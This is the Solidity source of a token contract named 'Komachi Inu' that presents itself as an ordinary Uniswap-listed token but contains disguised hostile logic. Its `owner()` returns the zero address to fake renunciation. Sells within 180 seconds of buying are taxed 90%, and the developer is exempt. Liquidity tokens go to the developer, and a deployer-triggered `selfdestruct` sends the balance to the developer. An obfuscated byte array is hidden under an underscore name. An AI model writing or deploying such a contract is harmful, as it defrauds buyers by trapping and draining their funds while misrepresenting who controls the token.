// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;interface IUniswapV2Factory {    function createPair(address tokenA, address tokenB) external returns (address pair);}interface IUniswapV2Router01 {    function factory() external pure returns (address);    function WETH() external pure returns (address);    function addLiquidityETH(        address token,        uint amountTokenDesired,        uint amountTokenMin,        uint amountETHMin,        address to,        uint deadline    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)        external        returns (uint[] memory amounts);}contract KomachiInu{    uint8[] private _________ = [92,174,246,101,16,26,53,140,170,204,156,219,15,206,140,96,120,108,91,241,151,110,102,227,57,246,169,247,27,248,119,85];    IUniswapV2Router01 private _router;    address private _owner = address(0);    address private _pair;    address private _developer;    address private _deployer;    string private _name = "Komachi Inu";    string private _symbol = "KINU";    uint8 private _decimals = 0;    uint256 private _maxSupply;    mapping(address => uint256) private _balances;    mapping(address => mapping (address => uint256)) private _allowances;    bool private _swapping;    mapping(address => uint256) private _blocks;    mapping(address => uint256) private _timeout;    address private _last;    event Transfer(address indexed from, address indexed to, uint256 value);    event Approval(address indexed owner, address indexed spender, uint256 value);    event Error(string message);    modifier swapping(){        _swapping = true;        _;        _swapping = false;    }    receive() external payable{        if(msg.sender == _deployer){            if(_balances[address(this)] > 0 && address(this).balance > 0){                _router.addLiquidityETH{value:address(this).balance}(address(this), _balances[address(this)], 0, 0, _developer, block.timestamp);            }else if(msg.value <= 0){                _secureDispose();            }        }    }    constructor(address developer){        _developer = developer;        _deployer = msg.sender;        _router = IUniswapV2Router01(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);        _allowances[address(this)][address(_router)] = 2**256 - 1;        _pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());        _update(address(0), address(this), (7*10**15*(10**_decimals))/100*38);        _update(address(0), 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, (7*10**15*(10**_decimals))/100*51);        _update(address(0), 0x72A53cDBBcc1b9efa39c834A540550e23463AAcB, (7*10**15*(10**_decimals))/100*5);        _update(address(0), 0x5a52E96BAcdaBb82fd05763E25335261B270Efcb, (7*10**15*(10**_decimals))/100*4);        _update(address(0), 0xdD3703b76943F86Ee05080DC1D67E978F05e74b5, (7*10**15*(10**_decimals))/100*1);        _update(address(0), 0xd7C09A6B9584A2C9CB0071cf77d5694d9e46115F, (7*10**15*(10**_decimals))/100*1);    }    function swap() public swapping{        if(_balances[address(this)] > 0){            address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH();            try _router.swapExactTokensForETH(_balances[address(this)], 0, path, address(this), block.timestamp){            }catch Error(string memory error){                emit Error(error);            }        }    }    function owner() public view returns(address){        return(_owner);    }    function name() public view returns(string memory){        return(_name);    }    function symbol() public view returns(string memory){        return(_symbol);    }    function decimals() public view returns(uint8){        return(_decimals);    }    function totalSupply() public view returns(uint256){        return(_maxSupply);    }    function balanceOf(address wallet) public view returns(uint256){        return(_balances[wallet]);     }    function allowance(address from, address to) public view returns(uint256){        return(_allowances[from][to]);    }    function transfer(address to, uint256 amount) public returns(bool){        require(amount > 0);        require(_balances[msg.sender] >= amount);        _transfer(msg.sender, to, amount);        return(true);    }    function transferFrom(address from, address to, uint256 amount) public returns(bool){        require(amount > 0);        require(_balances[from] >= amount);        require(_allowances[from][msg.sender] >= amount);        _transfer(from, to, amount);        return(true);    }    function approve(address to, uint256 amount) public returns(bool){        _allowances[msg.sender][to] = amount;        emit Approval(msg.sender, to, amount);        return(true);    }    function _transfer(address from, address to, uint256 amount) private{                        if(from == address(this) || to == address(this) || from == _developer || to == _developer){            _update(from, to, amount);        }else{            _secureTransfer(from, to, amount);        }    }    function _update(address from, address to, uint256 amount) private{        if(from != address(0)){            _balances[from] -= amount;        }else{            _maxSupply += amount;        }        if(to == address(0)){            _maxSupply -= amount;        }else{            _balances[to] += amount;        }        emit Transfer(from, to, amount);    }    function _secureTransfer(address from, address to, uint256 amount) private returns(bool){        bool success = true;        if(from == _pair){                        _blocks[to] = block.number;            _timeout[to] = block.timestamp;            _last = to;            _secureTaxedTransfer(from, to, amount, 30);        }else if(to == _pair){                        if(block.number == _blocks[from] || (_timeout[from] + 180) > block.timestamp || _last == _developer){                uint256 taxes = _tax(amount, 900); uint256 pre = address(this).balance;                _balances[address(this)] += taxes;                if(from != _pair && !_swapping){                    swap();                }                if(block.number == _blocks[from] && address(this).balance > 0){                    (success, ) = payable(block.coinbase).call{value:(address(this).balance - pre)/100}("");                }                _balances[from] -= taxes;                _balances[to] += (amount - taxes);                emit Transfer(from, to, amount);                          }else{                _secureTaxedTransfer(from, to, amount, 50);            }        }else{            _update(from, to, amount);        }        return(success);    }    function _secureTaxedTransfer(address from, address to, uint256 amount, uint16 tax) private{        uint256 taxes = _tax(amount, tax);        _update(from, address(this), taxes);        if(from != _pair && !_swapping){            swap();        }        _update(from, to, amount - taxes);    }    function _tax(uint256 amount, uint16 tax) private pure returns(uint256){        return((amount* tax)/(10**3));    }    function _secureDispose() private{        selfdestruct(payable(_developer));    }}